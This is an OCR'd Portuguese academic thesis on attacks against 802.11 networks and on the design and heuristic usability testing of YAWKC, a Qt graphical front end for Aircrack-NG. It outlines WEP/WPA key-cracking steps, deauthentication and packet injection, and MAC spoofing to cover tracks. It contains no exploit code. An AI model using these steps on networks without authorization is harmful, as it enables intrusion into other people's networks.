Originalmente, a escuta de rede (Sniffing) foi concebida como uma ferramenta
de andlise de trafego. Atualmente, é uma das ferramentas de ataque mais eficazes
seja para mapear a rede, seja para obter informacdes sem criptografia ou infor-
magdes criptografadas, como parte de um ataque maior (BARNES er al., 2002).

As ferramentas de escuta foram desenvolvidas inicialmente em uma época em
que as tecnologias de rede cabeadas disponiveis, como hubs e repetidores, ndo di-
recionavam os pacotes diretamente ao seu destinatario. Os dados eram enviados
em broadcast. Tendo isso em mente, o Sniffing se tornou uma ferramenta im-
portante também para as redes sem fio, uma vez que os dados também ndo sdo
enviados para uma determinada esta¢do e sim para o meio de transmissdo, o ar,
nao sendo nem mesmo necessdrio estar associado a rede para interceptar os dados.

Spoofing é um tipo de ataque que consiste em enganar o equipamento de rede,
fazendo com que ele “pense” que a estagdo estd conectada. Para isso existem algu-
mas técnicas simples como a modificacdo de enderecos MAC e/ou IP (BARNES
et al., 2002).

O principal motivo deste tipo de ataque € invadir redes fechadas. Uma rede
pode ser fechada por filtro de MAC, filtro de IP e autenticacdo. No caso de uma
rede fechada apenas por MAC e/ou IP, pode-se fazer uma andlise das estacdes
conectadas e entdo simplesmente trocar o endereco MAC e/ou IP da estacdo inva-

sora.
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Ataques de Hijacking, ou roubo de sessdo sdo executados falsificando a tabela
ARP do equipamento wireless (um AP por exemplo). O atacante entdo pode se
associar a um IP vélido na rede. A partir daf todos os dados direcionados para
o AP passam pelo atacante primeiro. Esse ataque também ¢é conhecido como o

ataque do homem do meio, ou interceptador (ULBRICH; VALLE, 2009).

()

O
gﬂSﬂ, n EUG&

Access Point ‘e, %0
\%?e% %s

;—i:i;_____,

S Dados s
Usuario Usuario nao

Autorizado passados Autorizado
para o AP

falso

Figura 14: Ataque Man-In-The-Middle.

Os ataques de negacdo de servico (DoS - Denial of Service) sdo ataques que
dificultam ou até mesmo impedem o uso da rede. Podemos citar alguns ataques

deste tipo:

e interferéncia no sinal de radio - este ataque é realizado simplesmente

apontando um sinal de rddio no dispositivo a ser atacado. Usa-se um sinal no
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mesmo canal e com poténcia mais alta. E comumente chamado de jamming

de sinal (CHINTA et al., 2009).

¢ flooding ou inundacio de pacotes - consiste em inundar a rede com pacotes
de maneira a diminuir a transferéncia de dados (BELLAICHE; GREGOIRE,
2008).

e ataques de desassociacao - é executado enviando pacotes de pedido de de-

sassociagdo ao AP.

A maioria dos ataques a redes sem fio sdo executados com ferramentas es-
pecificas, ndo sendo necessdrio modificar pacotes manualmente. Algumas das
ferramentas fazem todo o ataque, deixando que o usudrio apenas usufrua dos re-
sultados. Na préxima secao serdo abordadas algumas das ferramentas necessarias

a realizacdo dos ataques.

3.4 Ferramentas para Ataques a Redes sem Fio

As ferramentas de auditoria e testes de seguranca em redes sem fio sdo tam-
bém amplamente utilizadas para realizar ataques. Também sdo apresentadas algu-
mas ferramentas com a fungdo especifica de ataque.

Uma das ferramentas mais famosas e utilizadas no mercado, o Wireshark
(Figura 15) € um analisador de rede com suporte aos mais variados protocolos,
sendo também utilizado como sniffer. E um programa portével a sistemas opera-
cionais como Windows, Linux, BSDs, Solaris e MAC OS (WIRESHARK FOUN-
DATION, 2011).
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13 2,991690 65.54.49.124 192,168.0.101 MSNMS FLN vinicius.tc
14 2,991741 192,168.0.101 65.54.49,124 TCP 36881 = msnp [1
15 3,563113 192,168.0.101 65.54.49,124 MSNMS PNG
16 3.859327 65.54.49.124 1982,168.0.101 MSNMS QNG 49
17 3.859394 192,168.0.101 65.54.49,124 TCP 36881 > msnp [1
18 5.443200 D-Link_ad:4f:31 D-Link 1d:28;:ed ARP Who has 192.16¢
19 5.443247 D-Link_1d:28:ed D-Link_ad:4f:31 ARP 192.168.0.101 -
20 5.565937 fe80::d934: eab3: 3ac:c ffo2::c SSDP M-SEARCH * HTTF|~|

o ‘ 2

b Frame 1 (68 bytes on wire, 66 bytes captured)

b Ethernet II, Src: D-Link 1d:28:ed (00:1b:11:1d:28:ed), Dst: D-Link_ad:4f:31 (00:1lc:f0:ad:4f:31)

b Internet Protocol, Src: 182.168.0.101 (192.168.0.101), Dst: 65.54,48.73 (65.54.48.73)

b Transmission Control Protocol, Src Port: 60705 (60705), Dst Port: msnp (1863), Seq: 1, Ack: 1, Len: O

0000 00 1c fO ad 4f 31 00 1b 11 1d 28 ed 08 00 45 G0 ....0l1.. ..(...E

0010 00 34 53 38 40 00 40 06 b4 ff cO a8 00 65 41 38 .458@.@. ... eAs

0620 30 49 ed 21 07 47 db 7a 38 75 cO 61 a2 db 80 11 OI.!.G.z 8u.a....

0630 01 7e 1d ba 00 00 01 01 08 Ga 00 63 db 31 01 35 .~...... .....1.5

0640 de 7 El

Ofwlan0: <live capture in progress> Fil.., { Packets: 117 Displayed: 117 Marke... i Profile: Default

Figura 15: Wireshark em modo de captura de pacotes.

O tcpdump (THE TCPDUMP TEAM, 2011) é um analisador de pacotes tao
poderoso quanto o Wireshark porém sem interface gréfica, talvez por isso tdo
pouco intuitivo. Também possui a funcionalidade de captura de pacotes, filtros
de captura e leitura de arquivos pré-capturados.

O macchanger (ORTEGA, 2007) é apenas um frontend para a ferramenta if-
config do Linux, sua unica func¢do é modificar o endereco MAC dos dispositivos
sem fio. Nao é exatamente uma ferramenta de seguranga, mas sua fungdo pode ser
descrita como uma ferramenta de spoofing para o endereco MAC, necessdrio para
cobrir rastros em ataques. Ele pode também modificar o MAC de acordo com o
fabricante desejado.

A ferramenta Weplab, mostrada na Figura 16, realiza ataques utilizando um

diciondrio de senhas ou ataques estatisticos para a quebra de senhas. Para tal é
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necessario um arquivo de captura com pacotes de dados suficientes. Uma interface

grifica encontra-se disponivel no site do projeto (MARTIN, 2005).

s interface

Figura 16: Ajuda do Weplab.

A familia de aplicativos Aircrack-NG (AIRCRACK-NG, 2010) possui ferra-
mentas que executam uma simples escuta na rede até ataques de inje¢do de pacotes
com o intuito de gerar trafego ou um ataque de DoS. A utilizag¢do dessas ferramen-
tas em conjunto, e se corretamente utilizadas, pode levar a quebrar uma chave WEP
ou WPA dependendo das condigdes de trafego. Sdo ferramentas multiplataforma
executadas em apenas modo-texto. Em ambiente MAC OS esse conjunto de ferra-
mentas pode ser substituido pelo KisMAC (KISMAC TEAM, 2011), um programa
open source assim como o Aircrack-NG, porém disponivel apenas para MAC OS.

Existe, ainda, uma ferramenta de total gerenciamento de redes sem fio com
funcdes de deteccdo de redes, captura de pacotes e deteccdo de intrusos. Essa
ferramenta, chamada Kismet (Figura 17) (KERSHAW, 2011) possui uma inter-
face pseudo-grifica baseada na biblioteca ncurses. E uma ferramenta quase tio
completa quanto o Aircrack-NG (ndo possui fungdo de quebra de chaves) com a

vantagem de uma interface que dispensa memorizagao de comandos.
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~ Kismet Sort View Windows

TRENDnet 00:14:01
linksys_SES_45997

BF

Elina-PC-Wireless

Pickles 00;1F;33:F3:C5:4A A O

No update from GPSD in 15 seconds or more, attempting to recennect
No update from GPSD in 15 seconds or more, attempting to reconnect
Could not connect to the spectools server localhost:30569

No update from GPSD in 15 seconds or more, attespting to reconnect
No update from GPSD in 15 seconds or more, attempting to recennect

Figura 17: Interface do Kismet.

As ferramentas mostradas nesta se¢do ndo possuem interfaces graficas ou en-
tdo possuem uma interface em modo texto também comumente chamada pseudo-
gréficas. E conhecido que, quando bem projetadas, interfaces graficas geralmente
sd0 mais praticas do que interfaces em modo texto. O préximo capitulo trata de

interfaces graficas juntamente com alguns conceitos de usabilidade.
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4 USABILIDADE EM INTERFACES GRAFICAS

Em computagdo, uma interface grafica para o usuario (GUI do inglés Graphi-
cal User Interface) é um tipo de interface que permite interagir com o computador
por meio de imagens e dispositivos apontadores (um mouse, por exemplo) e tam-
bém de forma muitas vezes limitada pelo teclado (THE LINUX INFORMATION
PROJECT, 2004). Interfaces gréficas estdo presentes em qualquer tipo de disposi-
tivos que precisam de interagdes com usudrios, como € o caso de computadores e
dispositivos méveis de comunicacgdo (smartphones, por exemplo). Em suma, uma
GUI pode ser entendida como aquilo que o usudrio vé na tela de um dispositivo
e consegue interagir com o sistema através da interface grafica, de forma mais
simples do que a visualizagdo de um terminal em modo texto.

As interfaces graficas modernas permitem a manipulagdo direta, aumentando
dramaticamente a produtividade dos usudrios. Isso ocorre se a interface ndo se
interpor entre o usudrio e a tarefa a ser executada como uma barreira (GOEDICKE;
SUCROW, 1996). Para tal, alguns conceitos de usabilidade devem ser aplicados
ao desenvolvimento.

A usabilidade foi definida pela International Standarization Organization
(ISO) como uma medida pela qual o software pode ser utilizado por usudrios es-
pecificos para atingir objetivos especificos com eficdcia, eficiéncia e satisfacdo
dentro de um contexto especifico (ISO 9241-11) de uso como mostrado na Figura
18 (RAMLI; JAAFAR, 2008).

De um ponto de vista mais técnico, Hix e Hartson (1993) citam que a usabili-

dade € a combinagdo de algumas caracteristicas orientadas ao usudrio. Sao elas:

1. Facilidade de aprendizado.
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EFICACIA

USABILIDADE

EFICIENCIA SATISFACAO

Figura 18: Defini¢do de usabilidade (RAMLI; JAAFAR, 2008).

2. Alta velocidade do usudrio ao realizar uma tarefa.
3. Baixa taxa de erros do usudrio.

4. Satisfag@o subjetiva do usudrio.

5. Memorizagao das funcionalidades.

Hix e Hartson (1993) propdem uma redefinicdo da formalizag@o proposta pela
ISO dizendo que a usabilidade € relacionada a eficicia e eficiéncia do usudrio e

também a reacdo do mesmo frente a interface.



46

S METODOLOGIA

5.1 Tipo de Pesquisa

O presente trabalho pode ser classificado quanto a sua natureza como uma
pesquisa aplicada, pois o objetivo principal se concentra na geracdo de conheci-
mento para a solu¢gdo de um problema pratico.

Gil (1999) diz que as pesquisas podem ser classificadas quanto aos seus ob-
jetivos como exploratdria, que visa formular novas teorias sobre o problema ou
descritiva, quando visa descrever as caracteristicas de determinando fendmeno.

Pode-se dizer que este documento tem um cardter descritivo quanto aos pro-
cedimentos, pois visa analisar e descrever os acontecimentos registrados a partir

da ferramenta implementada.

5.2 Procedimentos Metodologicos
5.2.1 Etapas da Pesquisa

Este trabalho consiste em uma pesquisa aplicada, desenvolvida em quatro eta-
pas: levantamento bibliogréifico, implementacdo, testes e coleta de dados e docu-
menta¢ao

A primeira etapa consistiu de um levantamento bibliografico destinado ao
aprendizado de conceitos ainda ndo fixados e estabelecimento de um referencial
tedrico sobre redes sem fio 802.11. A pesquisa bibliografica foi realizada com base
em fontes primdrias e secunddrias a partir do més de marco do ano de 2010.

Ap6s realizada a pesquisa bibliografica, foi implementada uma ferramenta de

ataque a redes sem fio com base nas ferramentas da familia de aplicativos Aircrack-
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NG. A implementacido desta ferramenta foi feita utilizando-se a linguagem de pro-
gramacdo C++, com o auxilio do framework Qt para a produgdo de interfaces
gréficas.

Ao finalizar a implementacdo da ferramenta, foi iniciada a etapa de testes
comparativos com as atuais ferramentas de ataque que se destinam a quebra de
chaves WEP/WPA, no caso as ferramentas do Aircrack-NG.

A justificativas da escolha da linguagem e do framework a serem utilizados

sdo apresentados a seguir.

5.2.2 C++/QT vs. Java/Swing

Ap6s o levantamento bibliografico e documental, foi implementada uma in-
terface grafica integradora para os aplicativos de auditoria em redes sem fio. Essa
interface foi desenvolvida na linguagem C++ utilizando o framework Qt (NOKIA
CORPORATION, 2008).

O Qt é um framework multiplataforma destinado ao desenvolvimento de apli-
cacdes, para desktop ou sistemas embarcados, com interface grafica em C++. Por
ter sido desenvolvido em C++ ndo € necessdrio o uso de uma maquina virtual,
como a usada pela linguagem de programacao Java.

Em (DALHEIMER, 2006) sdao mostradas algumas das vantagens de se traba-

lhar com o framework Qt para C++ ao invés de utilizar o framework Java/Swing:

e menor quantidade de linhas de cddigo para a resolu¢do de um mesmo pro-

blema.

e menor consumo de memoria devido a ndo utiliza¢do de uma maquina virtual.
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e a aparéncia das interfaces graficas criadas com o Qt apresentam um design

mais agraddvel do que as criadas com Java/Swing.

Apesar das facilidades inerentes a linguagem Java, as pesquisas relacionadas
em (DALHEIMER, 2006) mostram que a produtividade dos programadores estd
ligada a maturidade e a preferéncia dos mesmos.

H4 ainda dois fatores agravantes ao uso de Java para o nosso propdsito: o
projeto serd desenvolvido para uma distribuicdo GNU/Linux que ndo possui a
maquina virtual Java (JRE) instalada por padrao e as ferramentas que deseja-se in-
tegrar (descritas a seguir), sdo escritas em C/C++ o que torna o uso da linguagem

desejavel, porém nao obrigatdrio.

5.2.3 A Familia de Ferramentas Aircrack-NG

As ferramentas presentes no software Aircrack-NG (AIRCRACK-NG, 2010)
destinam-se a ataques a redes sem fio 802.11 e aos protocolos de seguranca WEP,
WPA e WPA2. Sio ferramentas escritas na linguagem C/C++ e estdo disponiveis
para os sistemas Windows (com algumas restrigdes) e Linux. As ferramentas
relevantes para este trabalho sdo: Aircrack-NG, Airodump-NG, Aireplay-NG e
Airmon-NG.

O Aircrack-NG (Figura 19) € uma ferramenta que consegue quebrar chaves
WEP e WPA uma vez que os pacotes necessarios sdo capturados. E a tinica ferra-
menta que funciona sem nenhuma restri¢do no sistema Windows, pois ndo utiliza
os drivers dos adaptadores de rede sem fio.

A ferramenta Airodump-NG é a ferramenta de captura de pacotes. Para a

quebra de chaves WPA, é necessdrio apenas um pacote especifico (a negociacio
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Aircrack-ng 1.0

[e8:00:00] Tested 815 keys (got 58649 IVs)

byte(vote)

74(76012) C4(68060) CO(68B12) 48(67128) 25(65876)
F9(78356) CB(66312) C1(66360) DD(66196)
73(83236) 80(67376) DB(67236) 66(66948) 5F(66388)
89(66548) 67(66136) C6(65984) 5F(65892) 69(65560)
48(60916) AB(E0760) DA(BO748) 9B(66728) E3(60632)

Figura 19: Aircrack-NG - Quebra de chaves WEP.

de autenticacdo) e para WEP quanto mais pacotes melhor. Para a captura dos
pacotes necessdrios algumas vezes é necessdrio injetar pacotes na rede. Para tal,
usa-se em conjunto com o Airodump-NG a ferramenta Aireplay-NG.

O Aireplay-NG € uma ferramenta que implementa a injecao de diversos tipos
de pacotes, como de desautenticagc@o, autenticagdo falsa e ainda injeta pacotes
definidos pelo usudrio. Essa ferramenta cria as condicdes de trafego necessarias a
quebra das chaves WEP e WPA.

O Airmon-NG simplesmente coloca a interface wireless em modo monitor,
uma condicao necessaria para que todos os canais de uma rede sem fio sejam cap-
turados. E justamente essa ferramenta que apresenta problemas com a plataforma
Windows. S@o necessdrios drivers especiais para as interfaces, que muitas vezes
ndo sdo aceitos pelo sistema.

Excetuando-se o Aircrack-NG, todas as ferramentas aqui utilizadas necessi-
tam que a interface de rede esteja em modo monitor, o que acaba tornando seu uso

por vezes invidvel ao se utilizar o sistema operacional Windows.
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A partir do conhecimento obtido por meio das ferramentas, pode-se entdo
executar a quebra seguindo os passos mostrados na Figura 20. O usudrio deverd
habilitar o modo monitor em sua interface de rede sem fio. Feito isso, procura-
se a rede alvo e inicia-se a captura de pacotes. Caso seja necessdrio, um ataque
de injecdo de pacotes deve ser lancado. Por fim, entdo € feita a quebra sobre os

pacotes capturados.



{ Inicia |

h 4
Habilitar modo monitor na
interface de rede sem fio

h
Procurar por redes sem fio

WPA l WEP
Cripto
¥
Capturar Pacotes
A
v Atague de
Ataque de autenticagdo falsa
desautenticagio
L
Reinjecao de
pacoles
v
Capturar
" pacoles
¥
Ajrcrack-ng | N° de
{Obter Chave) | coles
== 5000 < 5000

¥

Fim

Figura 20: Diagrama de blocos representando uma quebra de chave WEP ou WPA.
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5.2.4 Ambiente

A implementagdo foi executada utilizando o sistema operacional GNU/Linux
Ubuntu’ versdo 10.04.1. A versdo do kernel Linux utilizado foi o0 2.6.32.24, o
mesmo que acompanha a distribuicao, sem modificacdes. O principal motivo da
ndo atualizagdo do kernel para o desenvolvimento do trabalho foi o suporte defi-
ciente aos drivers utilizados pelo Aircrack-NG nas versdes atuais desta distribui¢io
Linux.

Devido a auséncia de drivers que permitem habilitar o modo monitor da in-
terface Wi-Fi em sistemas Microsoft Windows, optou-se por ndo implementar o
programa para tal sistema, pois 0 mesmo ndo seria funcional, embora a interface
grafica possa ser recompilada para sistemas nao-Linux.

Com o intuito de agilizar o desenvolvimento, optou-se por utilizar uma
IDE que permitisse “desenhar” a interface grafica sem a necessidade de escre-
ver o codigo completo para a mesma. A IDE (Integrated Development Envi-
ronment —Ambiente de Desenvolvimento Integrado) escolhida foi o Qt Creator®
que permite a programacdo na linguagem C++ utilizando os recursos do Qt. Foi
necessario também a instalagdo de um compilador da linguagem C++, foi esco-
lhido o g++ por ser nativo de sistemas Linux, e também o suite Aircrack-NG que
funciona como back-end para a aplicacdo desenvolvida. O Ubuntu disponibiliza
o gerenciador de pacotes APT (Advanced Packaging Tool —Ferramenta de Empa-
cotamento Avangada), que tornou possivel a instalagdo das dltimas versdes dos

sofwares supracitados, disponiveis nos repositérios da distribuicao.

"Disponivel em www.ubuntu.com
8Mantida pela Nokia e disponivel em http://qt.nokia.com
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As versdes dos softwares instalados através do comando apt-get foram as

seguintes:
e Qt4.6.2.
o Aircrack-NG 1.0.
e (Ot Creator 1.3.1.

o g++4.4.3.

Foi utilizado ainda para testes um adaptador USB para redes Wi-Fi sem marca

com as seguintes especificacdes:
e Poténcia: 500mW.
e Radio IEEE 802.11 b/g.
e Modos de Operagdo: Managed, Ad-Hoc, Monitor.

e Chipset Realtek RTL8187B.

5.2.5 Implementacio da Interface Grafica

A implementacdo da interface gréfica foi facilitada pelo uso do Qt Creator,
pois este usa o sistema WYSIWYG (What You See Is What You Get) comum
em outras IDEs. Este sistema permite que o programador “desenhe” a interface
sem a necessidade de programar (escrever) as linhas de cédigo correspondentes as

declaragdes de cada elemento de uma interface.
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Ao criar um novo projeto no Qt Creator, o programador escolhe uma classe
base para sua aplicagdo GUI (Graphical User Interface). Esta classe base im-
plementa o elemento base da interface, funcionando como um contéiner que ird
acomodar os outros itens graficos, chamados de Widgets.

A interface gréifica desenvolvida consiste de um QDialog como classe base e
para “acomodar” as vdrias etapas de um processo de quebra de senha, utiliza-se
um conjunto de abas implementadas pela classe QTabWidget. Em cada uma das
abas sdo criados botdes que implementam as rotinas para cada fase da quebra de
uma senha, muitas vezes executando comandos do linux ou mesmo o Aircrack-
NG, ou seja, comandos externos a aplicacdo. Os botdes sdo implementados pela
classe QPushButton do Qt.

Foram utilizados, também do Qt, os outros itens que recebem e fornecem da-
dos as agdes executadas pelos botdes. Sdo eles o QLineEdit, QListWidget, QCom-
boBox e QLabel.

Em alguns Widgets a propriedade toolTip foi alterada para que, durante a pas-
sagem do ponteiro do mouse, fosse exibido um pequeno texto explicativo sobre

utilidade dos mesmos, como mostrado na Figura 21.

Escanear Interfaces de Rede: | ok [ |

Interfaces: S Clique para procurar por interfaces de rede sem fio.

Figura 21: Propriedade toolTip: textos explicativos
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5.2.6 Implementacao do Sistema

As rotinas implementadas durante o desenvolvimento deste trabalho baseiam-
se na execugdo de comandos (comandos do préprio sistema ou do suite Aircrack-
NG) externos a aplicagdo desenvolvida. Tais comandos sdo executados fazendo
uso da classe QProcess do Qt, que implementa métodos que permitem a execucao
de comandos, aplica¢des ou scripts externos a aplicagdo em desenvolvimento.

A Figura 22 mostra um trecho de cédigo que utiliza o QProcess para execu-
tar uma aplicacdo externa ao programa do trecho de cédigo em questdo. Apds
instanciar o objeto, € chamado o método QProcess::start(const QString & pro-
gram, OpenMode mode = ReadWrite), que espera que o programador passe como
paradmetro uma string com o caminho do programa a ser executado. Como a apli-
cacdo ja se encontra no PATH do sistema, ndo é necessdrio explicitar o caminho
completo da mesma. O método start entdo cria um novo processo que serd respon-

savel por executar a aplicagdo “gedit”.

1 #include <QProcess>

2

3 QProcess *proc = new QProcess();
4 proc->start("gedit”);

5

Figura 22: Utilizagdo do QProcess.

Alguns comandos necessitam de um terminal para serem executados, como
€ o caso dos comandos ifconfig e iwconfig por exemplo. Para executd-los,
€ necessdrio entdo que seja chamado um terminal para que este terminal faca a
chamada ao comando. Para tal, foi escolhido um terminal que suporte a chamada

de comandos via parametros, 0 XTERM.
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O XTERM permite a chamada de qualquer outra aplicacdo quando utilizado
com a op¢ao “-e” da seguinte forma:

$ xterm -e <aplicacéo>

Para que o QProcess agora possa executar um comando que necessite do uso
do XTERM, utilizamos a funcido sobrecarregada QProcess::start(const QString
& program, const QStringList & arguments, OpenMode mode = ReadWrite), da

forma como mostrado na figura

1 #include <QProcess>

2

3 QProcess *pIfconfig = new QPFrocess;
4 QStringlList arguments;

5 char command[256];

6

7 sprintf(command,"ifconfig -a > %s","/tmp/argIfconfig.dat");
8 arguments << "-&" << command;

9

10 pIfconfig->start("xterm",arguments);
11 pIfconfig->waitForFinished(60000);
12 delete pIfconfig;

13

Figura 23: Utilizagdo do QProcess com Xterm.

Nota-se agora que o método start pede além do caminho do comando, uma
lista de parametros.

Descrito como foi utilizado o QProcess durante a implementag@o , o programa
consiste basicamente em executar os programas do suite Aircrack-NG e tomar os
dados de sua saida, desviando-os da saida padrdo (terminal) para um arquivo texto,
como na Figura 23, para entdo serem processados.

Apds o processamento dos arquivos de texto, os dados obtidos sdo exibidos
para o usudrio em suas posi¢cdes correspondentes e sdo utilizados nas préximas

tarefas.
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A Sec¢do 5.3, a seguir, apresenta a metodologia de testes de usabilidade uti-

lizada para a avaliac@o da interface desenvolvida.

5.3 Metodologia Para a Avaliacao da Interface

Conforme Rocha e Baranauskas (2003), as avaliacdes sdo necessdrias para o
conhecimento do que querem os usudrios e quais os problemas enfrentados por
eles quando da utilizagdo de um software. Quanto mais informagdes sobre os
usuérios os desenvolvedores obtiverem, melhor serd o design da interface.

Para a avaliacdo da interface proposta no presente trabalho, foi utilizada a
avaliac@o heuristica apresentada por Nielsen e Molich (1990).

Na avaliacdo heuristica, o avaliador olha e interage com todas as telas da in-
terface e, a partir dessa utilizacao, tenta formar uma opinido sobre o que € bom ou
ruim no que foi avaliado a partir das dez heuristicas segundo Nielsen (1993).

Os avaliadores escolhidos foram cinco alunos do curso de Ciéncia da Com-
putacdo da Universidade Federal de Lavras (UFLA). Todos os avaliadores haviam
cursado as disciplinas de Interfaces Homem-M4équina e Redes de Computadores e,
portanto, tinham os conhecimentos minimos para realizar a avalia¢do da interface.

Os testes decorreram da seguinte forma:

o A interface é apresentada aos avaliadores com uma explicacdo de seu fun-

cionamento.

e E apresentada aos usudrios uma ficha de avaliagdo (anexo). Junto a ficha, foi
anexada uma pagina com as dez heuristicas segundo Nielsen (1993) traduzi-

das em (ROCHA; BARANAUSKAS, 2003).
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e Os avaliadores realizam a avaliagdo assinalando quais heuristicas estdo
sendo afetadas, descrevendo em que parte da interface ocorre o problema
e com qual grau de severidade isto ocorre. Se possivel, apresentam também

uma solucio.

As dez heuristicas entregues aos avaliadores sdo as seguintes:

1. Visibilidade do status do sistema: O sistema deve sempre manter os
usudrios informados sobre o que estd acontecendo através de feedback apro-

priado, em um tempo razodvel.

2. Compatibilidade entre sistema e mundo real: O sistema deve utilizar a
linguagem do usudrio, com palavras, frases e conceitos familiares para ele,
ao invés de termos especificos de sistemas. Seguir convencdes do mundo

real, fazendo com que a informacao apareca em uma ordem légica e natural.

3. Controle e liberdade para o usuario: Estdo relacionados a situacdo em
que os usudrios freqiientemente escolhem as fung¢des do sistema por engano
e entdo necessitam de “uma saida de emergéncia” claramente definida para
sair do estado ndo desejado sem ter que percorrer um longo didlogo, ou seja,

€ necessdrio suporte a undo e redo.

4. Consisténcia e padroes: Referem-se ao fato de que os usudrios ndo de-
veriam ter acesso a diferentes situacdes, palavras ou acdes representando a

mesma coisa. A interface deve ter convengdes ndo-ambiguas.

5. Prevencao de erros: Os erros sdo as principais fontes de frustragdo, inefi-

ciéncia e ineficdcia durante a utilizagcdo do sistema.
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6. Reconhecimento em lugar de lembranca: Tornar objetos, acdes, opcdes
visiveis e coerentes. O usudrio ndo deve ter que lembrar informacgdes de
uma parte do didlogo para outra. Instrucdes para o uso do sistema devem

estar visiveis ou facilmente acessiveis.

7. Flexibilidade e eficiéncia de uso: A ineficiéncia nas tarefas pode reduzir
a eficdcia do usudrio e causar-lhes frustragdo. O sistema deve ser adequado

tanto para usudrios inexperientes quanto para usuarios experientes.

8. Projeto minimalista e estético: Os didlogos ndo devem conter informagdes
irrelevantes ou raramente necessdrias. Cada unidade extra de informacdo
em um didlogo compete com unidades relevantes e diminui sua visibilidade

relativa.

9. Auxiliar os usuarios a reconhecer, diagnosticar e recuperar erros: Men-
sagens de erro devem ser expressas em linguagem natural (sem cddigos),

indicando precisamente o erro e sugerindo uma solugao.

10. Ajuda e documentacio: Mesmo que seja melhor que o sistema possa ser
usado sem documentagdo, pode ser necessario fornecer ajuda e documen-
tacdo. Tais informagdes devem ser faceis de encontrar, ser centradas na
tarefa do usudrio, listar passos concretos a serem seguidos e ndo ser muito

grandes. A ajuda deve estar facilmente acessivel e on-line.

Os avaliadores opinam sobre o grau de severidade do problema encontrado,
que estd diretamente relacionado com qual severidade a heuristica foi afetada. As

severidades variam de 1 a 5 da seguinte forma:
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1. Nao concordo que seja um problema de usabilidade.

2. Problemas relacionados ao projeto estético.

3. Problemas de pouca importincia, que nio atrapalham a execucdo das tarefas.
4. Problemas graves, que atrapalham a execucdo da tarefa de maneira sensivel.

5. Problemas gravissimos, que atrapalham severamente ou até impedem a

tarefa de ser executada.

Um exemplo de problema com grau de severidade 1 para um software de que-
bra de senha pode ser justamente a nao quebra da senha, quando da utilizagdo de
um diciondrio pobre. O problema ndo se encontra na interface, mas no dicionério
usado. Pode-se usar o exemplo da senha néo ser quebrada também como um pro-
blema com grau de severidade 5, porém agora o usudrio foi impedido em algum
momento de realizar alguma tarefa que levasse a quebra.

A Figura 24 apresenta o modelo de ficha de avaliag@o usada pelos avaliadores.
Eles descreveram o problema encontrado, quais heuristicas este problema afetou,
qual a severidade do problema e, por fim, apresentam uma recomendacdo para
solucionar o problema. Sao preenchidas quantas fichas os avaliadores julgarem

necessario.
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Problema

Heuristica(s)
afetada

Local Severidade

Recomendagio

Figura 24: Modelo de ficha de avaliagdo.

Ao fim de todas as avaliagdes os dados foram coletados para a interpretacio e

os resultados sdo conferidos na Se¢do 6.3.
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6 RESULTADOS E DISCUSSOES

6.1 Consideracoes Sobre a Interface Grafica Desenvolvida

A aplicagdo desenvolvida com interface grafica foi produzida com o intuito de
obter chaves WEP e WPA de redes Wi-Fi. Decidiu-se por nomed-la YAWKC (Yet
Another Wi-Fi Key Cracker) em funcio dos programas ja existentes com mesma
funcionalidade, como KisMAC (KISMAC TEAM, 2011), e o proprio Aircrack-NG
(AIRCRACK-NG, 2010).

A aplicacdo YAWKC exime o usudrio de qualquer execugdo em linha de co-
mando, proporcionando interacdes em sua grande maioria via dispositivo apon-
tador (mouse). A interface do YAWKC proporciona algumas vantagens sobre o
uso do Aircrack-NG em modo texto. Ao utilizar a interface grafica, o usudrio fica
desobrigado da memorizagdo de todos os comandos bem como suas opc¢des. A
quantidade de erros do usudrio diminui, uma vez que os erros causados por digi-
tacdo ndo existe.

Algumas interfaces graficas para o Aircrack-ng ainda necessitam que o
usudrio digite as informacdes das redes encontradas, ou entdo de seus adaptadores
de redes sem fio. Ao utilizar o YAWKC o usudrio se depara com caixas de texto
contendo listas de op¢des, que sdo escolhidas com apenas um clique do mouse.
Em apenas um momento da utilizacdo € necessario o uso do teclado (mas também
¢ possivel fazé-lo utilizando o mouse).

Da mesma forma que existem vantagens no uso de interfaces graficas, as
desvantagens também se fazem presentes principalmente para usudrios avangados.

O Aircrack-ng (em modo texto) possui uma ampla gama de opgdes e de filtros para
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captura de pacotes e ataques mais complexos que podem ser utilizadas de forma a
conseguir a quebra das chaves em situacOes mais adversas.

Existem formas de automatizar alguns comandos também em linha de co-
mando, através de scripts, como € o caso do Airoscriptg(Figura 25), que também
ndo obrigam o usudrio a memorizar os comandos e suas opcdes. Ainda assim a
interface grafica é mais agraddvel ao usudrio iniciante do que uma interface em

modo texto, como € o caso do Airoscript.

Wain

Figura 25: Interface em modo texto Airoscript.

Por fim, a0 mesmo tempo que uma interface grafica facilita muito a execucao
de algumas tarefas, ela também tira do usudrio a responsabilidade de aprender os

fundamentos da execugdo destas tarefas.

6.2 Apresentando o YAWKC e comparando com o Aircrack-NG

O software produzido como resultado deste trabalho utiliza-se da execugdo
dos programas do suite Aircrack-NG através de uma interface grafica. Assim como

ao utilizar o Aircrack-ng, o usudrio deve executar o YAWKC como superusudrio.

9Disponivel em http:/code.google.com/p/airoscript/
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Ao executar o programa, o usudrio se depara com uma tela de apresentacio

(Figura 26), contendo um texto explicativo, bem como um mini-tutorial. O usudrio

poderad ler o texto e entdo seguir para a préxima aba com titulo ‘“Procurar Disposi-

tivos”, em que serd definida a interface a ser usada e quais suas configuracdes. O

processo todo segue como mostra o fluxograma da Figura 20 da Se¢do 5.2.3.

M VORLIK. G )
Ajuda | Procurar Dispositives | Procurar por Redes sem Fio | Injecéo de Pacotes Quebrar Senha
Bem-vindo ao YAWKC

Este programa € destinado a usuarios de programas como os do conhecido conjunto de
aplicativos Aircrack-ng e seus "concorrentes” destinados a quebra de senhas de redes sem
fio encriptadas utilizando WEP ou WPA (e WPA 2).

Ele foi desenvolvido (est4 sendo e continuard sendo) na liguagem C++ em conjunto com o
framework Qt disponivel em http://at.nokia.com , como parte da monografia de conclusao de
curso de Ciéncia da Computacdo da UFLA - Universicade Federal de Lavras.

Requisitos do Sistema
Para a plena utilizacdo do YAWKC (Yet Another Wi-Fi Key Cracker), € necessario que alguns
requisitos sejam cumpridos:
« Sistema Operacional Linux x86*;
* Bibliotecas do Qt versdo 4.6 ou superior;
* Aircrack-ng 1.0 ou superior previamente instalado;
« Interface de rede sem fio e drivers compativeis como modo monitor para captura e
injecao** de pacotes.
*Testado previamente utilizando Ubuntu 10.04.1, Backtrack 5, SLAX 6.1 e Fedora 14 (64bits). |[~]

Figura 26: Tela de Ajuda.

Ao clicar na aba “Procurar Dispositivos” (Figura 27) o usudrio deve clicar no

